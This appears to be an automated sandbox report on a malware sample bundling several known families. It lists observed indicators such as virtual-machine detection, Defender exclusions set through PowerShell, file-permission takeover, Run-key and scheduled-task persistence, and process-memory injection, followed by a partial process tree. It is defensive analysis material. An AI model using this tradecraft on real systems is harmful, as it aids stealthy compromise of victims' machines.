9856898c30f265ee9a91a96e58a4b053d6014d9a7efc229d551ae95203f2fa34

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	3932	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5636	powershell.exe
2240	powershell.exe
7072	powershell.exe
3696	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
7120	takeown.exe
5992	icacls.exe
1976	icacls.exe

Executes dropped EXE 5 IoCs

pid	Process
5464	Win-v42.exe
1168	Win-v43.exe
3932	cmd.exe
1384	svchost.exe
6744	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
5992	icacls.exe
1976	icacls.exe
7120	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1935666426-3801330415-1166019131-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	api64.ipify.org
6	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5584	powercfg.exe
1508	powercfg.exe
6812	powercfg.exe
1140	powercfg.exe
4088	powercfg.exe
2700	powercfg.exe
908	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\Win-v42.exe	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3240 set thread context of 3932	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	136
PID 3240 set thread context of 1384	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zzhbadgg.0f1.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wffyvg4g.gbm.psm1	powershell.exe
File created	C:\Windows\Win-v41.exe	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
3916	PING.EXE
5412	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
4472	cmd.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3916	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2632	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5636	powershell.exe
5636	powershell.exe
2240	powershell.exe
2240	powershell.exe
7072	powershell.exe
7072	powershell.exe
5464	Win-v42.exe
5464	Win-v42.exe
1168	Win-v43.exe
1168	Win-v43.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
748	winlogon.exe
748	winlogon.exe
6744	Win-v41.exe
6744	Win-v41.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe
748	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3804	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5636	powershell.exe
Token: SeIncreaseQuotaPrivilege	5636	powershell.exe
Token: SeSecurityPrivilege	5636	powershell.exe
Token: SeTakeOwnershipPrivilege	5636	powershell.exe
Token: SeLoadDriverPrivilege	5636	powershell.exe
Token: SeSystemProfilePrivilege	5636	powershell.exe
Token: SeSystemtimePrivilege	5636	powershell.exe
Token: SeProfSingleProcessPrivilege	5636	powershell.exe
Token: SeIncBasePriorityPrivilege	5636	powershell.exe
Token: SeCreatePagefilePrivilege	5636	powershell.exe
Token: SeBackupPrivilege	5636	powershell.exe
Token: SeRestorePrivilege	5636	powershell.exe
Token: SeShutdownPrivilege	5636	powershell.exe
Token: SeDebugPrivilege	5636	powershell.exe
Token: SeSystemEnvironmentPrivilege	5636	powershell.exe
Token: SeRemoteShutdownPrivilege	5636	powershell.exe
Token: SeUndockPrivilege	5636	powershell.exe
Token: SeManageVolumePrivilege	5636	powershell.exe
Token: 33	5636	powershell.exe
Token: 34	5636	powershell.exe
Token: 35	5636	powershell.exe
Token: 36	5636	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeIncreaseQuotaPrivilege	2240	powershell.exe
Token: SeSecurityPrivilege	2240	powershell.exe
Token: SeTakeOwnershipPrivilege	2240	powershell.exe
Token: SeLoadDriverPrivilege	2240	powershell.exe
Token: SeSystemProfilePrivilege	2240	powershell.exe
Token: SeSystemtimePrivilege	2240	powershell.exe
Token: SeProfSingleProcessPrivilege	2240	powershell.exe
Token: SeIncBasePriorityPrivilege	2240	powershell.exe
Token: SeCreatePagefilePrivilege	2240	powershell.exe
Token: SeBackupPrivilege	2240	powershell.exe
Token: SeRestorePrivilege	2240	powershell.exe
Token: SeShutdownPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeSystemEnvironmentPrivilege	2240	powershell.exe
Token: SeRemoteShutdownPrivilege	2240	powershell.exe
Token: SeUndockPrivilege	2240	powershell.exe
Token: SeManageVolumePrivilege	2240	powershell.exe
Token: 33	2240	powershell.exe
Token: 34	2240	powershell.exe
Token: 35	2240	powershell.exe
Token: 36	2240	powershell.exe
Token: SeIncreaseQuotaPrivilege	2240	powershell.exe
Token: SeSecurityPrivilege	2240	powershell.exe
Token: SeTakeOwnershipPrivilege	2240	powershell.exe
Token: SeLoadDriverPrivilege	2240	powershell.exe
Token: SeSystemProfilePrivilege	2240	powershell.exe
Token: SeSystemtimePrivilege	2240	powershell.exe
Token: SeProfSingleProcessPrivilege	2240	powershell.exe
Token: SeIncBasePriorityPrivilege	2240	powershell.exe
Token: SeCreatePagefilePrivilege	2240	powershell.exe
Token: SeBackupPrivilege	2240	powershell.exe
Token: SeRestorePrivilege	2240	powershell.exe
Token: SeShutdownPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeSystemEnvironmentPrivilege	2240	powershell.exe
Token: SeRemoteShutdownPrivilege	2240	powershell.exe
Token: SeUndockPrivilege	2240	powershell.exe
Token: SeManageVolumePrivilege	2240	powershell.exe
Token: 33	2240	powershell.exe
Token: 34	2240	powershell.exe
Token: 35	2240	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3932	cmd.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
4356	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3240 wrote to memory of 5636	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	88
PID 3240 wrote to memory of 2240	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 3240 wrote to memory of 7072	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	93
PID 3240 wrote to memory of 2632	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	95
PID 3240 wrote to memory of 5252	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	97
PID 5252 wrote to memory of 6932	5252	cmd.exe	99
PID 3240 wrote to memory of 5352	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	101
PID 5352 wrote to memory of 7120	5352	cmd.exe	103
PID 3240 wrote to memory of 6028	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	104
PID 6028 wrote to memory of 5992	6028	cmd.exe	106
PID 3240 wrote to memory of 6592	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	109
PID 6592 wrote to memory of 1976	6592	cmd.exe	111
PID 3240 wrote to memory of 1508	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	112
PID 3240 wrote to memory of 6812	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	117
PID 3240 wrote to memory of 1140	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 3240 wrote to memory of 4088	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	125
PID 3240 wrote to memory of 2700	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	127
PID 3240 wrote to memory of 908	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	129
PID 3240 wrote to memory of 5584	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	131
PID 3240 wrote to memory of 5412	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	133
PID 5412 wrote to memory of 3916	5412	cmd.exe	135
PID 3240 wrote to memory of 3932	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	136
PID 3240 wrote to memory of 1384	3240	2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137
PID 4472 wrote to memory of 3696	4472	cmd.exe	139
PID 3696 wrote to memory of 748	3696	powershell.exe	5
PID 748 wrote to memory of 968	748	winlogon.exe	9
PID 748 wrote to memory of 976	748	winlogon.exe	10
PID 748 wrote to memory of 484	748	winlogon.exe	11
PID 748 wrote to memory of 1036	748	winlogon.exe	13
PID 748 wrote to memory of 1124	748	winlogon.exe	14
PID 748 wrote to memory of 1264	748	winlogon.exe	15
PID 748 wrote to memory of 1296	748	winlogon.exe	16
PID 748 wrote to memory of 1316	748	winlogon.exe	17
PID 748 wrote to memory of 1360	748	winlogon.exe	18
PID 748 wrote to memory of 1496	748	winlogon.exe	20
PID 748 wrote to memory of 1544	748	winlogon.exe	21
PID 748 wrote to memory of 6744	748	winlogon.exe	141
PID 748 wrote to memory of 1592	748	winlogon.exe	22
PID 748 wrote to memory of 1624	748	winlogon.exe	23
PID 748 wrote to memory of 1648	748	winlogon.exe	24
PID 748 wrote to memory of 1676	748	winlogon.exe	25
PID 748 wrote to memory of 1904	748	winlogon.exe	26
PID 748 wrote to memory of 2004	748	winlogon.exe	27
PID 748 wrote to memory of 1464	748	winlogon.exe	28
PID 748 wrote to memory of 1944	748	winlogon.exe	29
PID 748 wrote to memory of 2056	748	winlogon.exe	30
PID 748 wrote to memory of 2068	748	winlogon.exe	31
PID 748 wrote to memory of 2212	748	winlogon.exe	33
PID 748 wrote to memory of 2280	748	winlogon.exe	34
PID 748 wrote to memory of 2376	748	winlogon.exe	35
PID 748 wrote to memory of 2384	748	winlogon.exe	36
PID 748 wrote to memory of 2468	748	winlogon.exe	37
PID 748 wrote to memory of 2544	748	winlogon.exe	38
PID 748 wrote to memory of 2612	748	winlogon.exe	39
PID 748 wrote to memory of 2668	748	winlogon.exe	40
PID 748 wrote to memory of 2780	748	winlogon.exe	41
PID 748 wrote to memory of 2836	748	winlogon.exe	42
PID 748 wrote to memory of 2912	748	winlogon.exe	43
PID 748 wrote to memory of 2116	748	winlogon.exe	44
PID 748 wrote to memory of 3104	748	winlogon.exe	46
PID 748 wrote to memory of 3132	748	winlogon.exe	47
PID 748 wrote to memory of 3148	748	winlogon.exe	48
PID 748 wrote to memory of 3220	748	winlogon.exe	49
PID 748 wrote to memory of 3392	748	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:748
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:976
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1124
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:6744

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:968

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-efadc733-408f-4c38-882a-06bde3242dba -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d2b7c6cf-1dc3-4ba1-917c-4bf80e5026ef -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c614c521-ec0b-4294-8261-751d99c1be9c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3a7e3de1-1edb-4cfd-82bf-fc49854f03dc -LifetimeId:5f7d75c2-94a1-4712-9ae4-f2b3e61e6047 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1904
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3148
- - C:\Windows\System32\ShellHost.exe
    "C:\Windows\System32\ShellHost.exe"
    3⤵
    PID:3796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:2056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:2068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2468
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000270;0000000000000274;
  2⤵
  PID:5020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2912

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3512

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3804
- C:\Windows\System32\SecurityHealthSystray.exe
